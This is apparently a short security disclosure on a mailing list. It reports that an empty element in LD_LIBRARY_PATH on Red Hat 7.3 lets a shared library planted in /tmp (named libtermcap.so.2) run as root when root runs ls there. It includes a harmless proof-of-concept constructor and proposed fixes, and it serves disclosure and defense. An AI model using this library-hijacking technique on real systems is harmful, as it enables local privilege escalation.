On a machine I administrate I recently discovered an entry in
/etc/profile.d/oracle.sh:
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/oracle/OraHome1/lib
I noticed today that this leaves the value of LD_LIBRARY_PATH as:
:/home/oracle/OraHome1/lib
(containing an empty element).
This is the cause of a simple local root exploit on the tested machine,
a fully patched Red Hat Linux 7.3 installation. To demonstrate I created
a file called 'hello.c' containing:
----------------------------------------------------------------------
#include <unistd.h>
static void init () __attribute__((constructor));
static void init () { write (2, "hello\n", 6); }
----------------------------------------------------------------------
and compiled it into a shared library called 'libtermcap.so.2' which
I left in /tmp. (File owned by user 'rich').
Next I logged in as root, went into the /tmp directory and typed 'ls', with
the following rather surprising results:
root@wandsworth:/home/rich# cd /tmp
root@wandsworth:/tmp# ls
hello
ls: relocation error: ls: undefined symbol: tgetent
There seem to be two issues here:
* An administrator error has serious and unexpected consequences.
* The ld-linux.so loader should ignore empty elements of LD_LIBRARY_PATH.
If the desired effect is really to have shared libraries loaded from
whatever the current directory is, then the administrator should add
the single dot . to LD_LIBRARY_PATH.
Rich.
--
Richard Jones,
http://www.annexia.org/ Freshmeat projects: http://freshmeat.net/users/rwmj
